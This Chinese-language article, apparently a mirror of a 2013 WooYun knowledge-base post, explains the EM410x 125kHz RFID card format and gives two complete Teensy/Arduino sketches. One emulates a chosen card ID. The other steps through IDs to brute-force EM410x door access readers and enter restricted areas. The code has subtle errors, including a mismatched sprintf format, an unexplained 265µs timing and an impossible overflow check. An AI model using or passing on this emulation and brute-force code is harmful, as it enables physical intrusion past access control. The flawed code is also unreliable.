利用Teensy進行EM410x卡模擬以及暴力破解EM410X類門禁系統可行性猜想

wyzsk發表於2020-08-19
作者: open · 2013/08/22 17:47

首先,我不得不再次提一下那些工作在125khz頻率下的低頻卡(如:EM410X之類的),以便大家更好的閱讀以下的內容。

什麼是低頻?以下就是低頻的解釋:


低頻(LF, Low frequency)是指頻帶由30KHz到300KHz的無線電電波。一些無線電頻率識別( RFID技術 )標籤使用低頻。 這些標籤通常被稱為 LFID’s或LowFID’s(低頻率識別Low Frequency Identification)。

然而LFID’s/LowFID’s所常用(非唯一)的頻率為125kHz/134kHz,125kHz/134kHz只是低頻RFID所基於的頻率,該頻率不存在任何功能性,就是頻率本身不存在所謂的ID識別、讀取寫入等,而常用的低頻卡有HID、T55xx、EM410x等系列,這些系列的低頻卡都是大家在生活當中常常會使用到會碰到的。而這一次我們說的就是基於125kHz下的EM410x系列用於門禁ID識別之用。

以下就是EM410x的格式:

1 1 1 1 1 1 1 1 1                                          9bits頭
8 bits版本或廠商ID              
                                            D00 D01 D02 D03 P0
                                            D10 D11 D12 D13 P1
                                            D20 D21 D22 D23 P2
                                            D30 D31 D32 D33 P3
                                            D40 D41 D42 D43 P4      10bits行檢驗
                                            D50 D51 D52 D53 P5
32bits資料                           D60 D61 D62 D63 P6
                                           D70 D71 D72 D73 P7
                                           D80 D81 D82 D83 P8
                                           D90 D91 D92 D93 P9
                                           PC0 PC1 PC2 PC3 S0
                                                     4位列校驗

這64位資料裡面連續9個1作為資料開頭,而D00-D93就是使用者資料,P0-P9是行偶校驗位,PC0-PC3是列偶校驗位,S0為資料結束位。

簡單通俗的科譜一下什麼是偶校驗,就是資料1的個數是奇數還是偶數。

例如:0x01的二進位制是0001這個資料中1的個數為奇數,如果偶校驗的話就應該是 00011讓1的個數為偶數,要是資料是1110 那偶校驗當然就是11101,相反要是奇校驗就是11100。

以下實際例子說明EM410x格式:

如果我有一張EM410x卡,而卡上所印刷的ID會是:

0005206306

如果利用Proxmark3或低頻讀卡器進行讀取的話,你將會看到ID會多出兩位數值,而這個數值有可能就是8bit的版本、廠商或使用者標識。如果我們利用Proxmark3讀取出來ID是:

0x0600503472

相對應的0×00503472=5206306,而0×06就是標識,而它的格式將會是怎麼樣的呢?看看以下分析:

首先是資料頭:

111111111

卡號資料與行偶校驗位

0 = 0000 0
6 = 0110 0
0 = 0000 0
0 = 0000 0
5 = 0101 0
0 = 0000 0
3 = 0011 0
4 = 0100 1
7 = 0111 1
2 = 0010 1
                      p = 0001 (列偶校驗位)
0 結束

由上面的資料因此我們將會得到以下的數值:

111111111 00000 01100 00000 00000 01010 00000 00110 01001 01111 00101 00010

這就是EM410x的格式,如果還有什麼不明白的話,請自行使用Google等搜尋引擎進行資訊搜尋,接下來就是談談如何利用Teensy進行EM410x的模擬操作。

利用Teensy模擬EM410x Tag


硬體元件清單:

1. 基於125kHz的低頻線圈
2. 電容
3. 三極體 2N3904
4. 電阻 10K
5. Teensy++ 2.0

如何製做一個125khz諧振電路呢。那得知道LC諧振公式

012034G03-4.jpg

F 頻率 L 電感 C 電容

如你買的線圈電感是345UH那麼就配一個4700PF的電容,要是730UH那電容就配個2200PF的。當天線配置好後,就利用Teensy++ 2.0這個小玩意寫入以下程式碼,當然你也可以用Arduino開發板。

schematic-Stupid-Simple-Arduino-LF-RFID-

Teensy++ 2.0模擬EM410x程式碼如下:

#!c#
String sStart = "1111111110000000000";//
String sStop = "0";
int data_to_spoof[64];
int coil_pin = 9;
int a,b,c,d;
unsigned long id;
char HexCode[8];

void setup()
{
// Serial.begin(9600);
pinMode(coil_pin, OUTPUT);
digitalWrite(coil_pin, LOW);
id = 0x503472;
a=0;b=0;c=0;d=0;
sprintf(HexCode,"%04X%04X",id);
String s = sStart + Em4xCode(HexCode[4]) + Em4xCode(HexCode[5]) + Em4xCode(HexCode[6]) + Em4xCode(HexCode[7]) + Em4xCode(HexCode[0]) + Em4xCode(HexCode[1]) + Em4xCode(HexCode[2]) + Em4xCode(HexCode[3]) + EvenParity(a) + EvenParity(b) + EvenParity(c) + EvenParity(d) + sStop;
// Serial.println(s);
toCode(s);

}

void set_pin_manchester(int clock_half, int signal)
{
int man_encoded = clock_half ^ signal;
if(man_encoded == 1)
{
digitalWrite(coil_pin, HIGH);
}
else
{
digitalWrite(coil_pin, LOW);
}
}

String Em4xCode(String code)
{
if (code == '1') {d+=1;return "00011";}
if (code == '2') {c+=1;return "00101";}
if (code == '3') {c+=1;d+=1;return "00110";}
if (code == '4') {b+=1;return "01001";}
if (code == '5') {b+=1;d+=1;return "01010";}
if (code == '6') {b+=1;c+=1;return "01100";}
if (code == '7') {b+=1;c+=1;d+=1;return "01111";}
if (code == '8') {a+=1;return "10001";}
if (code == '9') {a+=1;d+=1;return "10010";}
if (code == 'A') {a+=1;c+=1;return "10100";}
if (code == 'B') {a+=1;c+=1;d+=1;return "10111";}
if (code == 'C') {a+=1;b+=1;return "11000";}
if (code == 'D') {a+=1;b+=1;d+=1;return "11011";}
if (code == 'E') {a+=1;b+=1;c+=1;return "11101";}
if (code == 'F') {a+=1;b+=1;c+=1;d+=1;return "11110";}
return "00000";
}

String EvenParity(int Parity)
{
if ((Parity % 2) == 1) return "1";
return "0";
}

void toCode(String s)
{
for(int i = 0; i < 64; i++)
{
if (s[i]=='0'){data_to_spoof[i]=0;}else{data_to_spoof[i]=1;}
}
}
void loop()
{
for(int i = 0; i < 64; i++)
{
set_pin_manchester(0, data_to_spoof[i]);
delayMicroseconds(256);
set_pin_manchester(1, data_to_spoof[i]);
delayMicroseconds(256);
}
}

在這裡要提出的是,有可能你不理解為什麼這麼傳送,因為它的編碼為是:曼徹斯特碼,所以我在這也通俗的說一下吧。

例如要傳送64位資料:

111111111 00000 01100 00000 00000 01010 00000 00110 01001 01111 00101 00010

那用多少時間傳送1位呢?答案是64,125khz等於512us也就是說512us轉送1位,但曼徹斯特碼是用2位來表示的,如果資料是1的話,曼徹斯特碼為10,資料為0的話,曼徹斯特碼為01。所以轉送時512us轉一位資料換算為曼徹斯特碼轉輸就應該是 512us/2=256us傳送一個,然而程式是把64位資料換算成曼徹斯特碼傳送,所以傳送間隔為delayMicroseconds(256);

當我們利用Teensy進行相關的模擬操作的時候,發現實際上只要我們做相關窮舉測試,或者我們可以更加快速的突破門禁系統的限制進入到受限區域,在測試的環境當中,因為讀卡器並沒有任何延時讀取出現,所以我們可以極快的速度窮舉相關的TagID,但因每種門禁都有自身的設定以及環境因素,我們不確定以下的窮舉程式碼是否適合大家,故此我們只是以提出可行性猜想來寫本文。

以下是暴力窮舉測試程式程式碼:

#!c#
String sStart = "1111111110000000000";
String sStop = "0";
int data_to_spoof[64];
int led = 6;
int coil_pin = 9;
int a,b,c,d;
unsigned long id;
char HexCode[8];

void setup()
{
// Serial.begin(9600);
pinMode(led, OUTPUT);
pinMode(coil_pin, OUTPUT);
digitalWrite(coil_pin, LOW);
id = 0x502E96;
}

void set_pin_manchester(int clock_half, int signal)
{
int man_encoded = clock_half ^ signal;
if(man_encoded == 1)
{
digitalWrite(coil_pin, HIGH);
}
else
{
digitalWrite(coil_pin, LOW);
}
}

String Em4xCode(String code)
{
if (code == '1') {d+=1;return "00011";}
if (code == '2') {c+=1;return "00101";}
if (code == '3') {c+=1;d+=1;return "00110";}
if (code == '4') {b+=1;return "01001";}
if (code == '5') {b+=1;d+=1;return "01010";}
if (code == '6') {b+=1;c+=1;return "01100";}
if (code == '7') {b+=1;c+=1;d+=1;return "01111";}
if (code == '8') {a+=1;return "10001";}
if (code == '9') {a+=1;d+=1;return "10010";}
if (code == 'A') {a+=1;c+=1;return "10100";}
if (code == 'B') {a+=1;c+=1;d+=1;return "10111";}
if (code == 'C') {a+=1;b+=1;return "11000";}
if (code == 'D') {a+=1;b+=1;d+=1;return "11011";}
if (code == 'E') {a+=1;b+=1;c+=1;return "11101";}
if (code == 'F') {a+=1;b+=1;c+=1;d+=1;return "11110";}
return "00000";
}

String EvenParity(int Parity)
{
if ((Parity % 2) == 1) return "1";
return "0";
}

void toCode(String s)
{
for(int i = 0; i < 64; i++)
{
if (s[i]=='0'){data_to_spoof[i]=0;}else{data_to_spoof[i]=1;}
}
}
void loop()
{
a=0;b=0;c=0;d=0;
sprintf(HexCode,"%04X%04X",id);
String s = sStart + Em4xCode(HexCode[4]) + Em4xCode(HexCode[5]) + Em4xCode(HexCode[6]) + Em4xCode(HexCode[7]) + Em4xCode(HexCode[0]) + Em4xCode(HexCode[1]) + Em4xCode(HexCode[2]) + Em4xCode(HexCode[3]) + EvenParity(a) + EvenParity(b) + EvenParity(c) + EvenParity(d) + sStop;
// Serial.println(s);
toCode(s);
for(int ii = 0; ii < 2; ii++)
{
for(int i = 0; i < 64; i++)
{
set_pin_manchester(0, data_to_spoof[i]);
delayMicroseconds(265);
set_pin_manchester(1, data_to_spoof[i]);
delayMicroseconds(265);
}
}
if (id == 0x50308A){digitalWrite(led, HIGH);}
id += 1;
if (id > 0xFFFFFFFF ){id=0;}
}
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章